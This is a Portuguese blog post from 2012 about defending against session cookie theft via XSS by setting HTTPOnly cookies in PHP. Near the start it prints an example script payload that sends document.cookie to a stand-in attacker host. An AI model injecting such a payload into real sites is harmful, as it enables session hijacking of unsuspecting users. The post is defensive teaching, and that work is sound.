Segurança

Segurança, Cookies HTTPOnly !

Posted on janeiro 14, 2012. Filed under: JavaScript, PHP, Segurança | Tags:, , , |

Introdução

Muitos de nós já conhecemos ou já ouvimos falar de XSS (Cross-site Scripting). XSS é uma vulnerabilidade explorada em aplicações web onde uma usuário mal intencionado consegue injetar códigos javascripts em uma página que posteriormente será lida por um usuário qualquer. Brechas desse tipo podem ser encontrada em vários sites ou em aplicações web.

Um ataque muito explorado em XSS é o roubo dos cookies de sessão do usuário. O roubo dos cookies é realizado através de um comando javascript que envia os cookies para uma URL externa onde o usuário atacante tem controle.

Por exemplo, caso o atacante consiga inserir o código abaixo em uma aplicação onde não é realizado o tratamento correto ao exibir as informações para outro usuário, o código, ao invés de ser exibido na tela do usuário, será executado diretamente no navegador fazendo com que os cookies sejam enviados para o site do atacante.

<script type="text/javascript">
new Image().src="http://www.sitedoatacante.com.br/cookies.php?c="+encodeURI(document.cookie);
</script>

Em posse dos cookies, mas especificamente o cookie de sessão, o atacante pode entrar autenticado no site com as mesmas credenciais da vítima, sem que ela saiba.

Cookies HTTPOnly

Cookies HTTPOnly são cookies que podem ser setados pelo servidor ou por javascript porém não podem ser acessados de nenhuma forma por javascript. Para que seja efetiva a funcionalidade do HTTPOnly o navegador deve estar habilitado para isto. A maioria dos navegadores conhecidos respeitam esse parâmetro. Cookies com o parâmetro HTTPOnly dificultam bastante o roubo de sessão através de XSS pois o javascript não consegue ler o conteúdo destes cookies.

Para exemplificar, selecionei abaixo um exemplo de cabeçalho de uma resposta de requisição HTTP onde é setado um cookie com o parâmetro HTTPOnly:

HTTP/1.1 200 OK
Cache-Control: no-cache,private
Content-Length: 9190
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=owhxuuffabkl0n55uhkrwj45; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Wed, 11 Jan 2012 19:38:13 GMT

PHP e Cookies HTTPOnly

A partir do PHP 5.2.0, as funções setcookie e setrawcookie possuem o parâmetro que seta o HTTPOnly para o cookie que esta sendo criado:

Sintaxe das funções setcookie/setrawcookie:

setcookie ($name, $value, $expire, $path, $domain, $secure, $httponly);
setrawcookie ($name, $value, $expire, $path, $domain, $secure, $httponly);

Setando um cookie no PHP com a flag httpOnly habilitada:

setcookie("TesteCookie", "123456", 0, "/", "example.com", false, true);
setrawcookie("TesteCookie", "123456", 0, "/", "example.com", false, true); // setrawcookie não faz o urlencode no valor do cookie

Caso você queria setar um cookie manualmente utilizando a função header (Pode ser no caso você esteja usando uma versão do php anterior ao 5.2.0 que ainda não suporta httpOnly nas funções setcookie/setrawcookie):

header("Set-Cookie: nome=valor; path=/; httpOnly" );

Por padrão, ao criar uma sessão no PHP, é criado um cookie usado para controlar o acesso do usuário na sessão. Normalmente o cookie é chamado PHPSESSID. Na configuração padrão esse cookie não é httpOlny. Para ativar o parâmetro httpOnly no cookie de sessão do PHP, setar a diretiva session.cookie_httponly no php.ini para true:

session.cookie_httponly = true

Dessa forma você esta deixando sua aplicação mais segura, evitando possíveis ataques que exploram a vulnerabilidade XSS.

Ler Post Completo | Make a Comment ( 1 so far )

Liked it here?
Why not try sites on the blogroll...

%d blogueiros gostam disto: